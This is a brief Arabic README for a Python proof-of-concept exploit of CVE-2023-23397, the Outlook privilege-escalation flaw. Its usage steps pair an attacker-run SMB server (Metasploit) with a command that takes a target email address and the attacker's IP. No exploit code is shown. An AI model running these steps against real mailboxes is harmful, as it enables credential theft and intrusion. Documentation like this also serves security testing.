CVE-2023-23397 (تصعيد الامتيازات في Outlook)

إثبات المفهوم لـ CVE-2023-23397 بلغة بايثون

إثبات مفهوم سريع وسهل بلغة بايثون لثغرة Outlook التي تؤثر على منتجات Microsoft Office/365.

الاستخدام

1. ثبّت pywin عن طريق تشغيل pip install pywin32
2. شغّل خادم SMB على جهاز المهاجم، مثل وحدة SMB الخاصة بـ Metasploit
3. شغّل python Exploit.py <save_or_send> <target email> <attacker_ip> مع تمرير الأمر (save أو send) وعنوان البريد الإلكتروني الهدف وعنوان IP لجهاز المهاجم